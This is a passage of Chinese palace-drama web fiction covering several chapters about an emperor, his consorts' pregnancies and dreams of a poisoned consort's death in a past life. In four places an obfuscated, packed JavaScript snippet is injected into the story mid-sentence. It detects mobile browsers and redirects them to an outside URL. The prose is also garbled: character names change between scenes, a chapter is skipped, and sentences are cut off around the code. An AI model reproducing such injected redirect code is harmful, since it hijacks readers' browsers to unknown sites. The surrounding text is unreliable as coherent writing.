殿内一时只余炭火烧得噼啪作响,与窗外落雪的簌簌声交织成网。 乔瑾将茶盏递过去时,君景珩却忽然转过身,没接茶,反而抬手覆上了她的小腹。 他的手掌带着朝室外的寒气,透过层层宫装熨帖在她肌肤上,让她下意识地瑟缩了一下。 “哦?”他摸着乔瑾的肚子,声音听不出喜怒,“朕竟不知她昨日居然去了御花园?周日那雪下的这般那她还出去了?” 突然话锋一转,将云贵姬的这个话题给过了,“朕近来总宿在你这儿,”他的声音压得低,带着一种喟叹般的意味,指腹隔着衣料轻轻摩挲着,“这肚子,怎么就没半点动静?” 乔瑾的心跳骤然漏了一拍。她能清晰地感受到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845689|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他掌心的力道,那力道里似乎藏着期盼,又似藏着某种审视。 上辈子她也曾有过身孕,却在三个月时莫名落了胎,血染红了君心殿的地砖,而眼前这人,当时只淡淡说了句“不过是个未成形的胎儿”。 此刻他的手覆在相同的位置,温热的触感却让她背脊泛起一阵寒意。 她垂下眼睫,掩去眸底翻涌的情绪,指尖微微攥紧了茶盏边缘:“许是臣妾……福气还未到。” 话音刚落,便觉腰间一紧,君景珩已将她揽入怀中,下巴抵着她的发顶,气息沉沉地落在她耳廓:“朕不信什么福气。” 他顿了顿,指腹在她小腹上又加重了些力道,“明日让太医院再给你请脉,若还是不成……” 他没说下去,乔瑾却已感觉到他话语里未明说的压力。 她将脸埋进他胸前的龙纹锦缎,闻着他身上清冽的雪水与龙涎香混合的气息,心中却一片冰凉。 上辈子太医曾隐晦提过,她的身子因早年忧思过度,恐难有孕,而这“忧思”,多半源于后宫无休止的算计。如今云贵姬有孕的消息传来,皇上的心思自然也活络起来。 “陛下不必忧心,”她抬起头,努力挤出一抹温顺的笑,伸手抚上他覆在自己小腹的手,“许是臣妾近来照料陛下劳累了些,待过了这阵,定能如陛下所愿。” 她的指尖划过他手背上凸起的青筋,语气带着恰到好处的柔媚,“倒是云贵妹妹有了身孕,陛下往后怕是要多去看看她才是。” 君景珩闻言,眸色深了深,忽然低头咬住她的唇,力道带着几分不容拒绝的强势。 乔瑾被迫仰起头,能看到他眼底翻涌的复杂情绪,像是不信,又像是在试探。 唇齿交缠间,她尝到一丝若有似无的血腥气,不知是他方才早朝时咬破了唇,还是她自己的错觉。 直到她几乎喘不过气,他才松开她,指腹擦过她泛红的唇角,声音恢复了惯常的淡漠:“她的事,自有规矩管着。” 他顿了顿,目光再次落在她的小腹上,那目光沉沉,仿佛要穿透衣料望进深处,“倒是你,替朕把身子养好了,比什么都强。” 第一百三十四章 落空 乔瑾低眉顺眼地应下,心中却冷笑。 养身子?上辈子她喝了多少副苦药,终究是一场空。 如今云贵姬这颗棋子既然已被她推到台前,那这“无孕”的由头,或许能成为最好的屏障。 她轻轻挣开他的怀抱,走到桌边重新为他斟茶,茶盏中的热气氤氲了她的面容,也模糊了她眼底一闪而过的寒芒—— 皇上想要子嗣? 那也要看,这子嗣是落在哪片土壤里,又是否会成为扎进他心头的一根刺。 而她乔瑾,绝不会再像上辈子那样,做个任人摆布的空壳子娘娘。 这君心殿的炭火再暖,也暖不透深宫的寒,唯有自己手中的筹码,才能换得一世安稳。 —— 这几日皇上都没有去后宫,都待在了乾元殿,后宫众人都在猜测大家,皇上去后宫去的第一个嫔妃会是谁的殿里。 大家都没有想到居然会是云贵姬。 众人都在宸嫔和丽昭仪还有贤妃几人身上猜测,但是没有料到会是云贵姬。 冬日的阳光透过雕花窗棂,在地上投下斑驳的光影。 殿内熏着清甜的栀子香,混着苏合香的暖融,驱散了午后的慵懒。 云贵姬正临窗而坐,膝上摊着一方月白色软缎,指尖捏着枚银亮的绣针,细细在缎面上穿梭。 她面前的小几上,放着一只已近完工的小鞋——鞋面是娇俏的藕荷色,鞋头用金线绣着只振翅的小凤凰,尾羽处还缀了两颗圆润的珍珠,随着她手腕的动作,轻轻晃动,映得光流转。 她微垂着眼,长睫在眼下投出淡淡阴影,神情专注而温柔,连眉心那点朱砂痣都似浸在暖光里,少了几分平日里的明艳,多了几分母性的柔婉。 宫女轻手轻脚地捧来一盏蜜渍梅子汤,刚要上前,却被她抬手止住,目光仍未离开手中的活计,只低声道:“放着吧,仔细惊了针脚。” 话音未落,殿外忽然传来内侍尖细的通报声:“皇上驾到——” 阿蛮指尖微顿,随即唇角弯起一抹浅淡的笑意,连忙将绣了一半的小鞋和丝线拢在锦帕里,起身整理了一下月白镶银边的宫装,正要屈膝行礼,已见明黄色的身影掀了帘子进来。 君景珩今日穿了身常服,玄色织金**纹袍子,未戴冠冕,只束了玉冠,面容俊朗,眉眼间带着几分处理完朝政的疏懒,目光落在她身上时,却瞬间柔和下来。 “免礼了。”他摆摆手,示意内侍退下,自己径直走到她面前,目光扫过她刚才坐的地方,见锦帕下隐约露出藕荷色的边角,“在做什么?” 阿蛮垂眸一笑,重新屈膝福了福,声音软糯如江南春水:“不过是闲时做些小玩意儿,倒叫皇上见笑了。” 她说着,伸手将锦帕揭开,露出那两只小巧玲珑的绣鞋,“前儿听乳母说,宫里的规矩,孩子未出世前,做母亲的要先备下几双软底鞋,讨个顺遂的彩头。臣妾想着,若是个公主,便绣些花鸟;若是个皇子……” 她顿了顿,抬眼望他,眸中水光潋滟,“便绣些麒麟瑞兽。只是臣妾手艺粗笨,怕是入不得皇上的眼。” 君景珩俯身拿起那只绣了凤凰的小鞋,指尖拂过细腻的针脚和温润的珍珠,嘴角的笑意深了些:“谁说粗笨?这凤凰绣得活灵活现,比尚宫局绣的还要精致几分。” 他将小鞋托在掌心,那尺寸只够盈盈一握,想到不久后会有个粉雕玉琢的孩子穿上它,心头竟泛起一丝前所未有的柔软。“倒是你,有身子的人了,还费这些眼神做什么?让宫女们做便是了。” 他语气带着关切,神情却是淡淡的,云贵姬却是脸色红了红,轻声道:“皇上国事繁忙,臣妾也帮不上什么,只能做些针线,权当是……为孩子积福。” 她顿了顿,抬眸看他,眼底有浅浅的担忧,“皇上今日下朝可还顺利?瞧着似乎有些倦色。” 君景珩将小鞋放回锦帕上,顺势在她身侧的软榻上坐下,接过宫女奉上的清茶,呷了一口,才缓缓道:“南疆的折子到了,土司又闹了些动静,倒也不算大事,只是烦心。” 他说着,目光又落回她身上,见她下意识地抚了抚自己尚且平坦的小腹,心中那点因朝政而生的烦躁便散了去,“倒是你,太医说你胎象虽稳,但前阵子总害喜,可好些了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845690|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >阿蛮点点头,挨着他坐下,隔着一层衣料,能感受到他身上清冽的龙涎香。 她取过案上的梅子汤,用银匙搅了搅,舀了一勺递到他唇边:“这几日好多了,能进些粥汤了。方才还想着,等皇上过来,让小厨房做些您爱吃的水晶肘子呢。” 君景珩张口饮了那勺酸甜的梅子汤,看着她小心翼翼的模样,忽然伸手,轻轻握住了她持着银匙的手。 她的手指纤长,因常拿绣针,指腹有些薄茧,却依旧柔软。 “肘子油腻,你现在闻不得腥味,别委屈自己。”他随即就松开了手,摩挲着茶盏,“想吃什么,让她们做给你便是,不必顾忌我。” 云贵姬垂下眼,脸上高兴的神色淡了淡,神色有些落寞,轻声道:“臣妾哪有那么金贵……倒是皇上,总为了国事操劳,臣妾……”她话未说完,便被君景珩打断。 “有你和孩子在,便是朕最大的慰藉。”他声音低沉,带着一种安抚人心的力量,“这双鞋……” 他又看向那藕荷色的小鞋,“做得极好。若是公主,便叫‘念安’如何?取‘念念不忘,岁岁平安’之意。若是皇子……”他顿了顿,眼中闪过一丝深思,“再慢慢想。” 阿蛮闻言,眼中亮了起来,抬起头,语气里带着欣喜:“念安……这名字真好。皇上……您真觉得好?” “自然。”君景珩看着她因喜悦而发亮的眼睛,面上却是不见多少高兴,还有些想要走的想法。 “你喜欢便好。只是往后,不许再熬着眼睛做针线了,若实在闲得慌,便让乐师进来弹些曲子,或是去御花园走走,仔细伤了身子。” 云贵姬却是没有察觉到他的心思,忍不住笑了起来,像枝头盛开的海棠,明艳又娇憨:“知道了。” 她嘴上说着,手下却将那两只小鞋小心翼翼地收进锦盒里,仿佛捧着什么稀世珍宝,“那……若是真生了个公主,皇上可莫要嫌弃她是个女儿家。” 君景珩挑眉,伸手将她揽进怀里,让她靠在自己肩上,感受着她身上淡淡的香气:“傻话。无论是皇子还是公主,都是朕的骨肉,朕疼还疼不过来,怎会嫌弃?” 第一百三十五章 就寝 时值暮春,暖光透过雕花窗棂,在紫檀木桌上投下斑驳碎影。 君景珩端坐主位,墨色锦袍上的银线绣纹随着他抬手饮茶的动作微微晃动,茶盏搁回瓷碟时,清浅的碰撞声在寂静的内室里格外清晰。 他不过才坐了盏茶功夫,指节轻叩了两下桌沿,目光便落向窗外那株开得正盛的西府海棠,语气听不出半分情绪:“时候不早,朕还有公务需要处理,先走了。” 榻上斜倚的云贵姬手中捻着的绣绷“啪嗒”一声滑落,丝线缠了指尖几绕。 她抬眸望过去,鬓边一支珍珠步摇随动作轻颤,眼底满是未及掩饰的诧异。 窗外的光勾勒着君景珩清俊却冷硬的侧脸,云贵姬神情有些落寞。 “皇上才来……”云贵姬连忙扶着身侧的软枕坐直些,腹中已有五月余的身孕让她动作略显迟缓。 她望着男人已经起身的背影,心口像被什么东西轻轻揪了一下,声音不自觉地带上了几分恳盼,“再多待一会儿好不好?方才厨房炖了您喜欢的莲子羹,我让她们热着……” 君景珩的脚步顿在屏风前,却未回头,只淡淡道:“不必了,还有事。” 云贵姬咬了咬唇,指尖无意识地抚上自己微隆的小腹,那里忽然传来一阵轻微的、鱼儿摆尾般的蠕动。 她眼中倏地亮起一丝光亮,像是抓住了什么能留住他的理由,连忙扬声说道:“皇上,您看……孩子刚才动了,就在方才,动得可清楚了!” 她说着,小心翼翼地将自己的手覆在腹部,又抬眼望向君景珩的方向,期待着能看到他哪怕一丝动容。 以前后宫那些有孕的嫔妃,不管如何,无论他多冷淡,只要提到孩子,他眼中总会有片刻的停留。 然而,屏风那头的身影只是微微一顿,随即传来的声音依旧没什么温度:“知道了。” 下一刻,青竹纹的屏风晃了晃,君景珩已迈开长腿,径直朝门口走去。 檐下的风铃被穿堂风拂动,发出细碎的声响,像是替榻上那人未说出口的挽留,碎成了一屋子的空寂。 云贵姬伸出的手停在半空,指尖还残留着方才腹中那微弱的胎动,可望向门口的目光,却一点点沉了下去,如同窗外渐渐被暮色浸染的海棠花瓣。 暮色从窗棂缝隙里渗进来,将紫檀木椅的影子拉得细长。 云贵姬指尖还残留着腹中胎动的余温,却已无力再支撑身体,整个人如同脱力般向后靠去,锦帕下的小腹随着她落座的动作轻轻起伏。 方才还强撑着的笑意彻底褪尽,眉梢眼角都坠着化不开的落寞,像枝头被雨水打湿的海棠,沉甸甸地弯了腰。 “小主……”晚晴见状连忙上前,扶住她微凉的手肘,望着空荡荡的门口,语气里忍不住带上了愤愤不平的潮气。 “皇上才来了不过半盏茶功夫,怎么就走得这样急?上回来看您还是半月前的事了,好容易盼来一趟,连莲子羹都没尝一口……” 她绞着帕子的手指越收越紧,“虽说您有了龙裔是天大的喜事,可也不能这般冷落了您啊……” 云贵姬的指尖轻轻摩挲着小腹上的衣料,那里的生命正隔着一层锦缎与她无声相依。 她望着窗台上那盆快要凋谢的兰草,忽然低低地笑了一声,笑声里却没什么暖意:“晚晴,别胡说。” 她的目光落回自己微微隆起的腹部,眸光却渐渐飘远,像是透过这深宅庭院,看到了另一处灯火通明的宫殿。 “他哪里是特意来看我的,”声音轻得像窗外飘落的柳絮。 话说到此处便顿住了,余下的话不必说透,晚晴已惊得睁圆了眼。 只见云贵姬缓缓抬手,将鬓边一支有些歪斜的珠钗扶正,镜中映出她苍白的面容,眼底却有种近乎死寂的平静。 她知道,皇上的脚步停在咸福宫门前,或许只是转身时无意间的一瞥,或许只是内侍提醒了一句“云贵姬有孕” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845691|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他才象征性地踏入这方院落。 就像方才那盏茶,他甚至未曾看她腹中的孩子一眼,那声“知道了”,也淡得像从未在这屋子里响起过。 晚晴看着自家主子默默捏紧了锦帕,指节泛白,却终究只是化作一声极轻的叹息,消散在逐渐沉下来的暮色里。 檐角的风铃又响了,这一次,连那声音都像是浸了水,沉甸甸地砸在空旷的殿宇中,惊起梁上燕子扑棱棱的振翅声。 云贵姬所居的“暖香居”外,几个洒扫的小太监正缩在游廊角落里偷闲,眼见着御驾的明黄伞盖从月洞门里转出来,皆是一愣。 大家都没有料到皇上居然就待了一会儿就走了。 可今日,君景珩不过在晚晴轩里待了小半个时辰,出来时面上虽瞧不出喜怒,脚步却未作半分停留,径直便往乾元殿的方向去了。 “哎?皇上这是……怎么走了?”一个新来的小太监捅了捅旁边的同伴,声音压得极低,“方才我瞧着云贵姬娘娘送到廊下,眼眶似乎还有些红呢。” 旁边的老太监啐了他一口,压低声音骂道:“小蹄子懂什么!皇上的心思也是你能猜的?许是殿里还有折子要批呢。” 可这话虽如此说,两人的目光却不由自主地追着那明黄的身影,直到消失在重重宫墙之后。消息像是长了翅膀,顺着抄手游廊飞快地传到了各宫娘娘的耳中。 月浮居的许良娣正对着铜镜描眉,听闻此事,手中的螺子黛“啪嗒”一声掉在妆台上,喃喃道:“往常这个时候,陛下多半是要翻牌子了吧?” 她身边的大宫女连忙拾起来,低声劝慰:“娘娘莫急,许是陛下累了,再等等看?” 可这一等,便是小半个时辰。 乾元殿方向始终静悄悄的,既没有传召的太监出来,也没见着掌印太监捧着绿头牌过去。 各宫的灯火原本还亮着几分希冀,此刻却像被夜露打湿的烛芯,一点点黯淡下去。 第一百三十六章 好似油尽灯枯 “掌灯的,把外间的灯灭了吧。”长春宫的李嫔叹了口气,挥了挥手。 贴身宫女欲言又止,最终还是依言吹灭了立在门口的羊角灯,暖黄的光晕瞬间缩成一点,融入沉沉夜色。 “看来陛下今晚是不打算召人了。”翊坤宫的管事嬷嬷对着刚回来的小太监摇摇头,“都歇着吧,伺候娘娘安寝。” 一时间,原本还带着几分喧嚣的后宫,像是被按下了静音键。 雕梁画栋间,唯有更漏滴答作响,各宫的灯火一盏、两盏、三盏……如同倦鸟归巢般,次第隐入了窗棂之后。 月色漫过琉璃瓦,在空旷的宫道上投下清冷的影子,竟比往日更多了几分寂寥。 而此刻的乾元殿内,却是另一番景象。 君景珩并未如众人所想般在批阅奏折,他卸了明黄常服,只着了一身月白寝衣,便和衣倒在了铺着明黄锦被的龙床上。 许是白日里处理朝政耗尽了心神,又或是那趟晚晴轩之行让他心绪复杂,他闭上眼不过片刻,呼吸便已均匀,显然是沉沉睡去。 殿内只留了一盏昏黄的琉璃灯,光影在他轮廓分明的侧脸上明明灭灭。 然而,这看似安稳的睡颜下,却正被噩梦纠缠。 三更的梆子声刚过,寝殿内烛火摇曳,将君景珩紧蹙的眉峰映得忽明忽暗。 他猛地一颤,陷入了那片熟悉的混沌梦境。 不同于以往朦胧的雾霭与缥缈的身影,这回的景象清晰得近乎残酷——一座鎏金铜瓦的宫殿矗立眼前,飞檐上的瑞兽在幽蓝的天光下泛着冷意,殿门并未上锁,却透着一股无形的禁锢。 他冲进去时,殿内陈设奢华依旧,白玉地砖光可鉴人,墙角的博山炉里甚至还飘着若有似无的沉水香气。 可这一切华美的布景,都衬得殿中榻上的女子如同风中残烛。 她斜倚在绣着繁复缠枝莲纹的锦被上,身上是件月白色的宫装,料子极贵,绣工精致,却掩不住那瘦得几乎脱形的骨架。 还是那张他在无数个梦里见过的脸,眉如远黛,眼若秋水,可此刻那双眸子却失了神采,像蒙了层灰的琉璃,半阖着,只余一线微光。 面色苍白得近乎透明,唇瓣毫无血色,连呼吸都轻得像游丝,每一次吸气都显得格外艰难,胸口微弱的起伏,仿佛下一秒便会彻底停滞。 “央……”君景珩喉头猛地一紧,那个几乎要脱口而出的称呼被卡在喉咙里,像吞了块烧红的烙铁,烫得他舌根发麻。 他想上前,脚步却重若千斤,每一步都像是踩在碎冰上,寒意顺着脚踝直窜心脏。 女子似乎听到了动静,缓缓抬眼,目光涣散地望向他。 那眼神里没有惊讶,没有求助,只有一种深入骨髓的疲惫与漠然,像是早已对周遭的一切失去了感知。 她张了张嘴,却发不出任何声音,只有一丝若有似无的气音逸出,像一片羽毛落在寂静的深潭里,连涟漪都未曾惊起。 “究竟发生了什么?!”君景珩终于冲破了那无形的束缚,几步抢到榻前,想伸手触碰她的脸颊,指尖却在离她肌肤寸许的地方顿住——她身上散发出的那股冷意,仿佛能透过梦境,冻僵他的血脉。 “为何……为何会变成如今这个情况?!” 他的声音在空旷的殿宇里回荡,带着自己都未察觉的颤抖与恐慌。 可女子只是望着他,又或者只是望向君景珩如今所在的位置,眼尾似乎渗出一点极淡的湿意,却连眼泪都流不出来,只轻轻动了动唇角,像是想扯出一个笑容,最终却只化作一声几不可闻的叹息。 那气息越来越弱,胸口的起伏也越来越缓,眼看着那点生命的迹象就要从她眼中彻底熄灭。 “不要!”君景珩的心像是被一只无形的手狠狠攥住,疼得他几乎喘不过气,“撑住!你撑住啊——!” “咳……咳咳!” 君景珩猛地从榻上坐起,胸口剧烈起伏,冷汗瞬间浸透了中衣,黏腻地贴在皮肤上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845692|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他大口大口地喘着气,仿佛刚从溺水的绝境中挣脱,眼神还带着梦魇未散的惊惶,茫然地扫视着熟悉的寝殿。 额头上已布满了冷汗,浸湿了鬓角的碎发。 殿内依旧寂静,只有那盏琉璃灯在微风中轻轻摇曳,投下明明灭灭的光影,映着他眼中尚未散去的惊悸与疲惫。 他抬手抹了把脸,望着帐顶繁复的云纹,良久,才缓缓吐出一口浊气,融入这深宫漫长的夜色之中。 雕花拔步床的纱帐低垂,床头的鲛绡灯散发着柔和的光晕,殿外传来更夫打更的梆子声,“咚——咚——咚——”,已是四更天。 可梦里那女子苍白的面容、涣散的眼神,还有那油尽灯枯的模样,却清晰得如同烙印,狠狠刻在他的脑海里。 他下意识地抚上自己的胸口,心脏还在狂跳,每一次搏动都带着尖锐的抽痛,喉咙里依旧残留着那股火烧火燎的干涩感。 “央央……”他又一次低喃出声,却依旧想不起那个名字。 那女子为何总在他梦中出现?而这次的梦境,为何如此真实,如此……令人心惊? 他掀开被子,赤脚踩在冰凉的地砖上,踉跄着走到窗边,一把推开雕花窗棂。 夜风吹灌进来,带着冬日的凉意,却丝毫没能吹散他心头的惶恐与烦躁。 远处的宫墙在夜色中沉默地矗立,像一头蛰伏的巨兽,而那座梦中的宫殿,又藏在这深宫的哪一处角落? 女子那望向他的眼神,疲惫、漠然,还有一丝难以言喻的……解脱?不,不是解脱,是绝望。 仿佛被囚禁在那华丽牢笼里的,早已不是躯壳,而是灵魂。 君景珩闭上眼,深深吸了口气,指节因用力而攥得发白。 那个梦,绝非偶然。心口的疼痛还在蔓延,像一根无形的线,紧紧牵着他,指向那个未知的、让他心悸的谜团。 他有种强烈的预感,若不找到梦中的女子,这无休止的噩梦与心痛,便永远不会停止。 第一百三十八章 残魂碎片 木鱼声惊得君宸州呼吸一滞。 殿外的蝉鸣突然变得刺耳,他盯着国师袖中缓缓展开的素绢,上面朱砂绘着的曼陀罗花妖异诡艳。 当药碗的苦涩漫上舌尖时,他才惊觉自己已攥住了国师的袈裟——那温度,竟与梦里女子颤抖的指尖别无二致。 一刻钟后,君宸州斜倚在蟠龙榻上。 安神汤的药气在喉间翻涌,眼前的宫灯渐渐化作重影。 他紧蹙剑眉,冷汗顺着下颌滴落,恍惚间又看见乔瑾站在宫墙下,白裙被风吹得猎猎作响,而她眼中倒映的,分明是自己前世满身浴血的模样。 墨色的沉雾如被风驱散的纱,君宸州的意识从混沌中挣出时,眼前的景象已换作紫宸殿外的汉白玉阶。 他像个提线木偶,躯体被无形的力量操控着,眼睁睁看着自己薄唇轻启,吐出的字句却如淬了冰的刀锋: “构陷顺妃、谋害皇嗣,证据确凿。”他听见自己的声音冷得没有一丝人味,回荡在寂静的庭院里,惊飞了檐角一只栖息的灰雀。 “即日起,禁足君心殿,非诏不得出。” 廊下的乔瑾穿着一身水绿色宫装,单薄得像一片随时会被风吹走的叶子。 她那双总是盛满星子的眼眸此刻睁得滚圆,难以置信的光芒碎裂开来,化作点点水光,顺着苍白的脸颊蜿蜒而下。“陛下……” 她的声音抖得像寒夜里的烛火,绞着帕子的手指泛出青白,“嫔妾没有……真的没有……” 君宸州的心脏像是被一只无形的手狠狠攥住,钝痛沿着血管蔓延至四肢百骸。 他看见她单薄的肩膀剧烈地颤抖,那摇摇欲坠的模样让他喉头哽咽,只想冲过去将她护在怀里,告诉她:“朕信你,从来都信。” 可他的脚像生了根,钉在冰凉的石阶上,只能看着禁军上前,用冰冷的锁链碰响她腕间那只他亲赐的暖玉镯——那玉镯本该暖着她的手,此刻却衬得她越发凄楚。 “陛下……”乔瑾的泣声被宫门缓缓合上的吱呀声截断,那声绝望的呼喊,像一根细针,狠狠扎进君宸州的灵魂深处。 黑暗再次吞噬视线,再睁开眼时,周遭已是蒹葭阁特有的清苦气息。 可这宫殿空得诡异,往日里萦绕的熏香散尽,只剩一股淡淡的药味和……腐朽的潮气。雕花美人榻上蜷缩着一个身影,墨发如瀑铺散在褪色的锦被上,仅露出一截瘦得硌人的肩胛骨。 君宸州踉跄着坐到榻边的梨花木椅上,目光贪婪地描摹着她的轮廓。 她瘦得脱了形,昔日莹润的脸颊凹了下去,唇色白得像雪。 他下意识地伸出手,指尖即将触到她眼下那片青影时,手腕却被猛地攥住。 “陛下!” 沈院判不知何时出现在殿中,须发皆白的老臣脸上满是惊惶,花白的眉毛拧成一团:“使不得啊陛下!” 他指着越婈腕间若隐若现的暗红色纹路,声音发颤,“这噬心蛊最是歹毒,中蛊者心脉与施蛊者相连,您若动了真情触碰,她体内的蛊虫便会受引,啃噬她的心脉啊!” “噬心蛊……” 君宸州喃喃重复,心口的疼痛骤然加剧,像是真的有虫豸在啃噬血肉。他猛地收回手,指甲深深掐进掌心。 对,他不能碰她,连靠近都要小心翼翼,这该死的蛊毒,不仅困住了她的人,更隔开了他的靠近。 头痛突然如潮水般袭来,眼前闪过零碎的画面:浓得化不开的黑森林,地面上密密麻麻爬动的毒虫,空气中弥漫的硝烟与血腥,还有……一棵歪脖子树上悬挂的、残破的衣袖,袖口绣着半朵快要褪色的……蒹葭花。 “啊——”他捂住头低吟出声,那些画面像刀子一样切割着他的神经。 待剧痛稍缓,他茫然抬眼,却见君心殿内景象又变。 往日里尚且留存一丝生气的宫殿,此刻竟挂满了素白的帷幔。 清冷的月光透过窗棂,照亮地上铺着的白毡,空气中弥漫着浓郁的檀香味——那是……丧仪的味道。 “陛下!陛下留步啊!”沈院判的声音带着哭腔,死死拽住他的衣袖,“娘娘新丧,您龙体为重,不能再受这阴气冲撞啊!” 新丧? 君宸州如遭雷击,猛地看向那张曾经躺着越婈的美人榻。 此刻榻上空空如也,只铺着一层薄薄的白绢,上面似乎还残留着一个浅浅的人形凹痕。不,不可能!她怎么会…… 他挣脱沈院判的手,疯了似的冲向内殿,却在掀开内室帷帐的瞬间,僵在原地。 雕花大床上,越婈安安静静地躺着,身上穿着一袭他从未见过的素白宫装,脸上没有任何血色,唇瓣苍白得像冬日的残雪。 她双眼轻阖,长长的睫毛在眼下投出一片阴影,仿佛只是睡着了。 可她腕间那道暗红色的蛊纹,此刻却变成了触目惊心的紫黑色,蜿蜒如一条死去的小蛇,缠绕着她纤细的手腕。 “央央……”君宸州的声音嘶哑得不成样子,他颤抖着伸出手,想要触碰她的脸颊,这一次,沈院判没有阻止,只是在一旁垂泪。 指尖即将触到她肌肤的刹那,君宸州猛地惊醒—— “咳……咳咳……” 剧烈的咳嗽让他弯下腰,掌心传来温热的湿意。 他喘息着摊 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“陛下龙体为重。”国师的指尖微凉,隔着衣料都能感受到那股沉静的力道,“方才陛下伏在案上梦魇,臣不敢惊扰。” 案上的茶盏结了层薄垢,显然他已昏睡许久。 君宸州脑中轰然一响,那些破碎的画面——乔瑾含泪的眼、君心殿的素缟、腕间紫黑的蛊纹——如潮水般再次涌来,心口的钝痛化作实质,让他忍不住佝偻了背脊。 “国师……”他抓住国师的衣袖,指节因用力而泛白,眼中是惊惶与希冀交织的光,“方才……方才朕在梦中,见到君心殿……见到宸嫔她……” 他的声音颤抖着,几乎说不下去。 那些景象太过真实,真实到让他恐惧那不是梦。 乔瑾腕间的噬心蛊,沈院判的劝阻,还有那满堂白幡……难道都是真的? 国师缓缓抽回手,从袖中取出一方素帕递给他,目光落在他苍白的脸上,带着一丝不易察觉的悲悯:“陛下所梦,乃噬心蛊牵引心神所化。” “牵引心神?”君宸州猛地抬头,血帕攥在掌心,“那……那梦中的情形,可是真的发生过?或是……或是预示?” 他不敢想“预示”二字背后的含义。 国师走到窗边,推开半扇窗,让刺目的阳光灌入殿内。 蝉鸣声骤然放大,像无数根针在扎着君宸州的神经。 老国师望着庭院中随风摇曳的蒹葭枝,良久才缓缓开口:“蛊毒至阴,最能勾人心魔,亦能……映出残魂碎片。” “残魂碎片?” 第一百三十九章 相拥而眠 鎏金铜鹤香炉中飘出的龙涎香突然变得刺鼻,君宸州的神色有些难看。 国师推开窗的动作顿了顿,蝉鸣声浪骤然灌入殿内,却掩不住他接下来话语里的冰寒:“陛下所梦非幻,亦非蛊毒牵念——那是您沉埋于魂魄深处的……上一世记忆。” “上一世?”君宸州猛地抬头,殿外正午阳光在他瞳孔里碎成刺目的金斑,“国师是说……朕与宸嫔……” “正是。”国师转身时,玄色广袖扫过案几,凉透的茶盏发出轻响,“只不过究竟是因为什么原因,会让陛下想起上一世的事情,这些……老呐暂时想不通。” 他枯瘦的手指抚过铜盒边缘,虫卵在幽光中泛着诡异的磷火:“您梦中的君心殿禁足、噬心蛊发作、乃至满堂素缟……不错的话皆是上一世宸嫔娘娘香消玉殒的真事。” 君宸州踉跄后退,后腰撞在雕花案角,古籍“啪”地掉在金砖上。 上一世的画面如破堤洪水般倒灌——乔瑾跪在雪地中辩解时,他亲手掷出的毒酒;她腕间蛊纹由红转紫时,他被太医按住的双手;还有最后那口呕在素白锦被上的血,像极了此刻他掌心的猩红。 “不可能……”他捂住胸口,那里正传来与梦境如出一辙的啃噬感,“若真是前世,为何朕从未察觉?” “轮回本就隔断记忆,。”国师弯腰拾起古籍,泛黄纸页在他指尖簌簌翻动,“此蛊与噬心蛊同源,专噬帝王情丝与前尘记忆。如今陛下因梦魇记起碎片,恰是忘川蛊效力减弱的征兆。” 殿内突然暗下,一片乌云遮住了日头。君宸州盯着国师眼中忽明忽暗的光,喉结剧烈滚动:“您方才说……噬心蛊需施蛊者心头血为引。” “那……上一世……又到底是谁对她下的蛊?” 最后这话不知是君景珩问自己又或者是在问国师。 国师将铜盒推到他面前,虫卵突然疯狂扭动,盒底浮现出淡红色的纹路——竟是半朵残缺的蒹葭花。 君宸州的心像被狠狠揪了一下。 他想起梦魇里那满堂的素缟,想起她腕间紫黑的蛊纹,一股寒意从脚底直窜头顶。 不能再等了。 他猛地转身,沉声对守在殿外的沈院判道:“备驾,去太医院!把所有关于‘噬心蛊’的古籍都给朕找出来,就算掘地三尺,也要给朕找到解蛊之法!” 沈院判一怔,随即躬身应是:“臣遵旨!” 君宸州回头,深深地看了一眼榻上的越婈,眼中闪过一丝决绝。 不管这蛊毒是谁下的,不管前方有多少阻碍,他都要救她。 哪怕……要他剜心取血,哪怕要他与整个天下为敌。 他不能再让梦魇成真。 君景珩随即又命暗卫快马加鞭去往边疆,去寻找那蛊毒,如何解蛊。 